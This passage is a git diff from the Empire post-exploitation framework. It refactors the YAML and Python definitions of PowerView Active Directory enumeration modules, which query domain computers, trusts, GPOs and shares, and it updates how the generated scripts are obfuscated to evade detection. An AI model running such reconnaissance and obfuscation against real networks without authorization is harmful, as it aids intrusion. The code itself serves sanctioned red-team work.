- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -67,19 +66,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -87,5 +84,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Find-LocalAdminAccess {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-LocalAdminAccess completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml
index c17cef696..884a94bc4 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml
@@ -1,10 +1,12 @@
name: Get-DomainManagedSecurityGroup
authors:
- - '@ukstufus'
-description: This function retrieves all security groups in the domain and identifies
- ones that have a manager set. It also determines whether the manager has the ability
- to add or remove members from the group. Part of PowerView.
+ - name: ''
+ handle: '@ukstufus'
+ link: ''
+description: This function retrieves all security groups in the domain and identifies ones that have a manager set. It also
+ determines whether the manager has the ability to add or remove members from the group. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1069
background: true
@@ -25,8 +27,7 @@ options:
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -34,8 +35,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -43,19 +43,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -63,5 +61,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
-script_end: Get-DomainManagedSecurityGroup {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainManagedSecurityGroup completed'
+script_path: situational_awareness/network/powerview.ps1
+script_end: Get-DomainManagedSecurityGroup {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainManagedSecurityGroup
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml
index 04af41f17..e133c27ff 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml
@@ -1,9 +1,12 @@
name: Get-WMIRegCachedRDPConnection
authors:
- - '@harmj0y'
-description: Uses remote registry functionality to query all entries for the Windows
- Remote Desktop Connection Client" on a machine. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Uses remote registry functionality to query all entries for the Windows Remote Desktop Connection Client" on
+ a machine. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1076
background: true
@@ -26,7 +29,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +37,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
-script_end: Get-WMIRegCachedRDPConnection {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-WMIRegCachedRDPConnection completed'
+script_path: situational_awareness/network/powerview.ps1
+script_end: Get-WMIRegCachedRDPConnection {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-WMIRegCachedRDPConnection
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml
index faa07ebb1..268454edb 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml
@@ -1,8 +1,11 @@
name: Get-DomainComputer
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Queries the domain for current computer objects. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1082
background: true
@@ -19,8 +22,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: Unconstrained
@@ -28,8 +30,7 @@ options:
required: false
value: ''
- name: TrustedToAuth
- description: Switch. Return computer objects that are trusted to authenticate for
- other principals.
+ description: Switch. Return computer objects that are trusted to authenticate for other principals.
required: false
value: ''
- name: Printers
@@ -37,8 +38,7 @@ options:
required: false
value: ''
- name: SPN
- description: Return computers with a specific service principal name, wildcards
- accepted.
+ description: Return computers with a specific service principal name, wildcards accepted.
required: false
value: ''
- name: OperatingSystem
@@ -62,18 +62,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -81,8 +78,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -90,19 +86,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -110,5 +104,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainComputer {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainComputer completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml
index 57cb89888..3a19f5d70 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml
@@ -1,9 +1,11 @@
name: Get-DomainDFSshare
authors:
- - '@meatballs__'
-description: Returns a list of all fault-tolerant distributed file systems for a given
- domain. Part of PowerView.
+ - name: ''
+ handle: '@meatballs__'
+ link: ''
+description: Returns a list of all fault-tolerant distributed file systems for a given domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1420
background: true
@@ -24,8 +26,7 @@ options:
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -33,8 +34,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -42,19 +42,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -62,5 +60,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainDFSshare {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainDFSshare completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml
index f38c9e37b..665576b42 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_controller.yaml
@@ -1,9 +1,11 @@
name: Get-DomainController
authors:
- - '@harmj0y'
-description: Returns the domain controllers for the current domain or the specified
- domain. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Returns the domain controllers for the current domain or the specified domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -34,7 +36,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -42,5 +44,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainController {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainController completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml
index 9ffb28520..39cf10161 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_policy.yaml
@@ -1,11 +1,17 @@
name: Get-DomainPolicyData
authors:
- - '@harmj0y'
- - '@DisK0nn3cT'
- - '@OrOneEqualsOne'
-description: Returns the default domain or DC policy for a given domain or domain
- controller. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@DisK0nn3cT'
+ link: ''
+ - name: ''
+ handle: '@OrOneEqualsOne'
+ link: ''
+description: Returns the default domain or DC policy for a given domain or domain controller. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -34,14 +40,13 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -49,5 +54,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainPolicyData {{ PARAMS }} | fl | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainPolicyData completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml
index 1eb2487f6..b9100d9e2 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_domain_trust.yaml
@@ -1,9 +1,11 @@
name: Get-DomainTrust
authors:
- - '@harmj0y'
-description: Return all domain trusts for the current domain or a specified domain.
- Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Return all domain trusts for the current domain or a specified domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -32,8 +34,7 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: NET
@@ -41,13 +42,11 @@ options:
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -55,8 +54,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -64,19 +62,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -84,5 +80,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainTrust {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainTrust completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml
index 9d8ea972b..19920c2c9 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_fileserver.yaml
@@ -1,9 +1,12 @@
name: Get-DomainFileServer
authors:
- - '@harmj0y'
-description: Returns a list of all file servers extracted from user homedirectory,
- scriptpath, and profilepath fields. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Returns a list of all file servers extracted from user homedirectory, scriptpath, and profilepath fields. Part
+ of PowerView.
software: S0194
+tactics: []
techniques:
- T1083
background: true
@@ -24,13 +27,11 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -38,8 +39,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -47,19 +47,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -67,5 +65,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainFileServer {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainFileServer completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml
index d3abeb884..42adc6c30 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest.yaml
@@ -1,9 +1,11 @@
name: Get-Forest
authors:
- - '@harmj0y'
-description: Return information about a given forest, including the root domain and
- SID. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Return information about a given forest, including the root domain and SID. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -26,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -37,7 +39,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -45,5 +47,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-Forest {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-Forest completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml
index 21268b8fd..b9ec35c2d 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_forest_domain.yaml
@@ -1,8 +1,11 @@
name: Get-ForestDomain
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Return all domains for a given forest. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -25,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -33,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-ForestDomain {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-ForestDomain completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml
index ba959952d..727f731a1 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo.yaml
@@ -1,8 +1,11 @@
name: Get-DomainGPO
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Gets a list of all current GPOs in a domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1484
background: true
@@ -19,18 +22,16 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: ComputerIdentity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name
- for the computer to identify GPO local group mappings for.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name for the computer to identify GPO local
+ group mappings for.
required: false
value: ''
- name: UserIdentity
- description: Return all GPO objects applied to a given user identity (name, SID,
- DistinguishedName, etc.).
+ description: Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
required: false
value: ''
- name: Domain
@@ -38,18 +39,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -57,8 +55,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -66,18 +63,16 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: FindOne
@@ -87,7 +82,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -95,5 +90,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainGPO {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGPO completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
index 56da79ab0..764faf023 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
@@ -4,17 +4,16 @@
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module(object):
@staticmethod
def generate(
- main_menu,
- module: PydanticModule,
+ main_menu: MainMenu,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -24,7 +23,7 @@ def generate(
main_menu.installPath
+ "/data/module_source/situational_awareness/network/powerview.ps1"
)
- if main_menu.obfuscate:
+ if obfuscate:
obfuscated_module_source = module_source.replace(
"module_source", "obfuscated_module_source"
)
@@ -34,21 +33,17 @@ def generate(
try:
with open(module_source, "r") as f:
module_code = f.read()
- except:
+ except Exception:
return handle_error_message(
"[!] Could not read module source path at: " + str(module_source)
)
- if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
- script = data_util.obfuscate(
- installPath=main_menu.installPath,
- psScript=module_code,
- obfuscationCommand=main_menu.obfuscateCommand,
- )
+ if obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
+ script = main_menu.obfuscationv2.obfuscate(module_code, obfuscation_command)
else:
script = module_code
- script_end += "\nGet-DomainOU "
+ script_end = "\nGet-DomainOU "
for option, values in params.items():
if (
@@ -90,13 +85,11 @@ def generate(
+ ' completed!"'
)
- if main_menu.obfuscate:
- script_end = data_util.obfuscate(
- main_menu.installPath,
- psScript=script_end,
- obfuscationCommand=main_menu.obfuscateCommand,
+ if obfuscate:
+ script_end = main_menu.obfuscationv2.obfuscate(
+ script_end, obfuscation_command
)
script += script_end
- script = data_util.keyword_obfuscation(script)
+ script = main_menu.obfuscationv2.obfuscate_keywords(script)
return script
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml
index 5536cd1a5..644a8838d 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.yaml
@@ -1,11 +1,15 @@
name: Get-GPOComputer
authors:
- - '@harmj0y'
- - '@byt3bl33d3r'
-description: 'Takes a GPO GUID and returns the computers the GPO is applied to. (Note:
- This function was removed in PowerView. This now uses a combination of two CmdLets
- to achieve the same functionality)'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
+description: 'Takes a GPO GUID and returns the computers the GPO is applied to. (Note: This function was removed in PowerView.
+ This now uses a combination of two CmdLets to achieve the same functionality)'
software: S0194
+tactics: []
techniques:
- T1484
background: true
@@ -36,7 +40,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml
index 255e4d987..eff8fe92d 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml
@@ -1,9 +1,12 @@
name: Get-DomainGroup
authors:
- - '@harmj0y'
-description: Gets a list of all current groups in a domain, or all the groups a given
- user/group object belongs to. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Gets a list of all current groups in a domain, or all the groups a given user/group object belongs to. Part of
+ PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -20,13 +23,11 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
